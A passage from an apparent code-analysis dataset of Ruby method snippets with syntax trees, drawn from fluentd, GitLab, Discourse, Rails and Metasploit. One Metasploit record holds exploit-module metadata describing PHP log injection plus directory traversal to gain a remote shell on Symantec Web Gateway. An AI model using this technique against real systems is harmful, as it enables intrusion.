end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"match\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fetch\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"AmbiguousArgument\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"catch\",{\"type\":\"sym\",\"children\":[\"ambiguous\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"complete\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]}]}]}]}]}","id":"84b2e82d-db94-4ce1-822c-c6e07312fbf7"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/in_tail.rb","start_line":259,"raw_source":"def parse_encoding_param(encoding_name)\n      begin\n        Encoding.find(encoding_name) if encoding_name\n      rescue ArgumentError => e\n        raise Fluent::ConfigError, e.message\n      end\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_encoding_param\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"encoding_name\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encoding_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"encoding_name\"]}]},null]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]}]}]}","id":"cef72078-8b53-4df7-851f-ab83f0aca864"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/symantec_web_gateway_lfi.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"Symantec Web Gateway 5.0.2.8 relfile File Inclusion Vulnerability\",\n        'Description' => %q{\n          This module exploits a vulnerability found in Symantec Web Gateway's HTTP\n          service.  By injecting PHP code in the access log, it is possible to load it\n          with a directory traversal flaw, which allows remote code execution under the\n          context of 'apache'. Please note that it may take up to several minutes to\n          retrieve access_log, which is about the amount of time required to see a shell\n          back.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Unknown', # Discovery\n          'muts',    # PoC\n          'sinn3r'   # Metasploit\n        ],\n        'References' => [\n          ['CVE', '2012-0297'],\n          ['OSVDB', '82023'],\n          ['EDB', '18932'],\n          ['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00']\n        ],\n        'Payload' => {\n          'BadChars' => \"\\x00\"\n        },\n        'DefaultOptions' => {\n          'WfsDelay' => 300, # 5 minutes\n          'DisablePayloadHandler' => false,\n          'EXITFUNC' => 'thread'\n        },\n        'Platform' => ['php'],\n        'Arch' => ARCH_PHP,\n        'Targets' => [\n          ['Symantec Web Gateway 5.0.2.8', {}]\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2012-05-17',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Symantec Web Gateway 5.0.2.8 relfile File Inclusion Vulnerability\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a vulnerability found in Symantec Web Gateway's HTTP\\n\"]},{\"type\":\"str\",\"children\":[\"          service.  By injecting PHP code in the access log, it is possible to load it\\n\"]},{\"type\":\"str\",\"children\":[\"          with a directory traversal flaw, which allows remote code execution under the\\n\"]},{\"type\":\"str\",\"children\":[\"          context of 'apache'. Please note that it may take up to several minutes to\\n\"]},{\"type\":\"str\",\"children\":[\"          retrieve access_log, which is about the amount of time required to see a shell\\n\"]},{\"type\":\"str\",\"children\":[\"          back.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown\"]},{\"type\":\"str\",\"children\":[\"muts\"]},{\"type\":\"str\",\"children\":[\"sinn3r\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2012-0297\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"82023\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"18932\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WfsDelay\"]},{\"type\":\"int\",\"children\":[300]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisablePayloadHandler\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"thread\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Symantec Web Gateway 5.0.2.8\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2012-05-17\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"d692b51a-3be1-4289-8613-a9a10cbcde22"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/converters/base/progress_step_executor.rb","start_line":32,"raw_source":"def execute_in_parallel?\n      @step.class.run_in_parallel? && (@max_progress.nil? || @max_progress > MIN_PARALLEL_ITEMS)\n    end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_in_parallel?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@step\"]},\"class\"]},\"run_in_parallel?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@max_progress\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@max_progress\"]},\">\",{\"type\":\"const\",\"children\":[null,\"MIN_PARALLEL_ITEMS\"]}]}]}]}]}]}","id":"87ee90b6-0b8a-4317-b9e0-fa55caab89cf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/client.rb","start_line":180,"raw_source":"def self.via(pool)\n      raise ArgumentError, \"No pool given\" if pool.nil?\n      current_sidekiq_pool = Thread.current[:sidekiq_redis_pool]\n      Thread.current[:sidekiq_redis_pool] = pool\n      yield\n    ensure\n      Thread.current[:sidekiq_redis_pool] = current_sidekiq_pool\n    end","complexity_score":12.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"via\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pool\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pool\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"No pool given\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"current_sidekiq_pool\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sidekiq_redis_pool\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"sidekiq_redis_pool\"]},{\"type\":\"lvar\",\"children\":[\"pool\"]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"sidekiq_redis_pool\"]},{\"type\":\"lvar\",\"children\":[\"current_sidekiq_pool\"]}]}]}]}","id":"f72dc73b-45f0-4aee-8f4d-bee6412315a7"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/registry.rb","start_line":40,"raw_source":"def self.reset!\n        @global = new\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"reset!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@global\",{\"type\":\"send\",\"children\":[null,\"new\"]}]}]}","id":"be0c0b20-24ed-435f-8e33-ab7ee9540b38"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/sharepoint/provider_input/create_list.rb","start_line":38,"raw_source":"def self.build(name:, description: nil, contract: CreateListContract.new)\n              contract.call(name:, description:).to_monad.fmap { new(**it.to_h) }\n            end","complexity_score":9.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"build\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"name\"]},{\"type\":\"kwoptarg\",\"children\":[\"description\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"contract\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CreateListContract\"]},\"new\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contract\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"lvar\",\"children\":[\"description\"]}]}]}]},\"to_monad\"]},\"fmap\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"it\"]},\"to_h\"]}]}]}]}]}]}","id":"89c5baa4-6435-43d4-ba49-b263776439fd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/jira_connect/branches_controller.rb","start_line":34,"raw_source":"def new_branch_data\n    {\n      initial_branch_name: initial_branch_name,\n      success_state_svg_path:\n        ActionController::Base.helpers.image_path('illustrations/empty-state/empty-merge-requests-md.svg')\n    }\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"new_branch_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"initial_branch_name\"]},{\"type\":\"send\",\"children\":[null,\"initial_branch_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"success_state_svg_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"Base\"]},\"helpers\"]},\"image_path\",{\"type\":\"str\",\"children\":[\"illustrations/empty-state/empty-merge-requests-md.svg\"]}]}]}]}]}","id":"caaad3fe-821c-467b-91fa-e38f4fee71ea"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ml/experiment_tracking/experiment_repository.rb","start_line":33,"raw_source":"def add_tag!(experiment, key, value)\n        return unless experiment.present?\n\n        experiment.metadata.create!(name: key, value: value)\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"add_tag!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"experiment\"]},{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"experiment\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"experiment\"]},\"metadata\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}","id":"8149ee9a-94b5-40ea-9bb5-529e7a4fdebc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/spec/constants/suite.rb","start_line":35,"raw_source":"def self.configure!\n    unless @configured\n      RSpec.configure do |config|\n        config.before(:suite) do\n          Metasploit::Framework::Spec::Constants::Suite.log_leaked_constants(\n              :before,\n              'Modules are being loaded outside callbacks before suite starts.'\n          )\n        end\n\n        config.after(:suite) do\n          Metasploit::Framework::Spec::Constants::Suite.log_leaked_constants(\n              :after,\n              'Modules are being loaded inside callbacks or examples during suite run.'\n          )\n        end\n      end\n\n      @configured = true\n    end\n  end","complexity_score":13.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"configure!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@configured\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSpec\"]},\"configure\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"before\",{\"type\":\"sym\",\"children\":[\"suite\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"Spec\"]},\"Constants\"]},\"Suite\"]},\"log_leaked_constants\",{\"type\":\"sym\",\"children\":[\"before\"]},{\"type\":\"str\",\"children\":[\"Modules are being loaded outside callbacks before suite starts.\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"after\",{\"type\":\"sym\",\"children\":[\"suite\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"Spec\"]},\"Constants\"]},\"Suite\"]},\"log_leaked_constants\",{\"type\":\"sym\",\"children\":[\"after\"]},{\"type\":\"str\",\"children\":[\"Modules are being loaded inside callbacks or examples during suite run.\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@configured\",{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"e0fd70f8-6686-4287-87f0-b2dcb30422eb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/ie_uxss_injection.rb","start_line":73,"raw_source":"def get_uri(cli = self.cli)\n    ssl = datastore[\"SSL\"]\n    proto = (ssl ? \"https://\" : \"http://\")\n    if datastore['URIHOST']\n      host = datastore['URIHOST']\n    elsif (cli and cli.peerhost)\n      host = Rex::Socket.source_address(cli.peerhost)\n    else\n      host = srvhost_addr\n    end\n\n    if Rex::Socket.is_ipv6?(host)\n      host = \"[#{host}]\"\n    end\n\n    if datastore['URIPORT']\n      port = ':' + datastore['URIPORT'].to_s\n    elsif (ssl and datastore[\"SRVPORT\"] == 443)\n      port = ''\n    elsif (!ssl and datastore[\"SRVPORT\"] == 80)\n      port = ''\n    else\n      port = \":\" + datastore[\"SRVPORT\"].to_s\n    end\n\n    uri = proto + host + port + get_resource\n\n    uri\n  end","complexity_score":67.83,"ast_json":"{\"type\":\"def\",\"children\":[\"get_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"cli\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"cli\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ssl\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SSL\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"proto\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ssl\"]},{\"type\":\"str\",\"children\":[\"https://\"]},{\"type\":\"str\",\"children\":[\"http://\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URIHOST\"]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URIHOST\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"source_address\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[null,\"srvhost_addr\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"is_ipv6?\",{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URIPORT\"]}]},{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\":\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URIPORT\"]}]},\"to_s\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ssl\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]}]},\"==\",{\"type\":\"int\",\"children\":[443]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ssl\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]}]},\"==\",{\"type\":\"int\",\"children\":[80]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\":\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]}]},\"to_s\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proto\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"host\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"port\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"get_resource\"]}]}]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]}","id":"10df534c-73a9-499c-babd-e7f067876d7e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/structured_event_subscriber_test.rb","start_line":117,"raw_source":"def test_binary_data_hash\n        event = assert_event_reported(\"active_record.sql\", payload: { name: \"Binary Create\" }) do\n          Binary.create(data: { a: 1 })\n        end\n\n        key, value = event.dig(:payload, :binds, 0)\n\n        assert_equal(\"data\", key)\n        assert_match(/<(6|7) bytes of binary data>/, value)\n      end","complexity_score":10.43,"ast_json":"{\"type\":\"def\",\"children\":[\"test_binary_data_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"event\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_event_reported\",{\"type\":\"str\",\"children\":[\"active_record.sql\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Binary Create\"]}]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Binary\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\"]},{\"type\":\"lvasgn\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"sym\",\"children\":[\"binds\"]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<(6|7) bytes of binary data>\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"4eea67e6-88ae-4cbd-a5ff-f1e40e747129"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/pending_direct_uploads_helpers.rb","start_line":25,"raw_source":"def expect_pending_uploaded_object_to_exist(path)\n    expect { fog_connection.get_object(location_identifier.to_s, path) }.not_to raise_error\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_pending_uploaded_object_to_exist\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fog_connection\"]},\"get_object\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"location_identifier\"]},\"to_s\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},\"not_to\",{\"type\":\"send\",\"children\":[null,\"raise_error\"]}]}]}","id":"2f2932ec-82be-4489-8d6f-67130ce64cb4"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/private_message_map.rb","start_line":16,"raw_source":"def participants_count\n        participants_details.length\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"participants_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"participants_details\"]},\"length\"]}]}","id":"7670eebf-bdf8-4f4a-997e-d995c6354fb1"}
